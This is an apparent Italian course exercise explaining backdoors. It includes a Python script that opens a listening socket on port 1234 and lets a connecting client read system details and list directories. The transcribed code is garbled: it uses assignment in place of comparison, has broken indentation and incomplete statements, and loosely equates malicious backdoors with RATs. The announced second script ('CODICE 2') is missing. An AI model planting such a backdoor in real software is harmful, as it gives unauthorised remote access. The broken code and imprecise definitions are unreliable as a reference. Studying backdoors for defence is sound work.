PRATICA S3_L2

Una "backdoor" è un varco di accesso lasciato volutamente aperto dal programmatore del software, che può essere utilizzato in caso quest'ultimo abbia la necessità di rimettere mano al codice, senza per forza autenticarsi, pertanto è un modo molto pratico e veloce per un'eventuale manutenzione. Nel caso in cui la backdoor invece sia stata programmata da un hacker "blackhat", con intenzioni malevoli, la stessa prende il nome di "rat", ed è molto pericolosa perché per l'appunto è una via di accesso diretto.

Qui di seguito due script di backdoor scritti in linguaggio Python, il primo codice è una backdoor attiva, il secondo è uno script generico per la creazione di una backdoor.

CODICE 1

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
 GNU nano 6.0
                                           backdoor.py *
import socket, platform, os
SRV_ADDR = ""
SRV_PORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
print ("client connected: ", address)
while 1:
        data = connection.recv(1024)
    if(data.decode('utf-8') = '1'):
        tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
elif(data.decode('utf-8') = '2'):
        data = connection.recv(1024)
            filelist = os.listdir(data.decode('utf-8'))
            tosend =
        tosend = "Wrong path"
connection.sendall(tosend.encode())
    elif(data.decode('utf-8') = '0'):
        connection, address = s.accept()
```

CODICE 2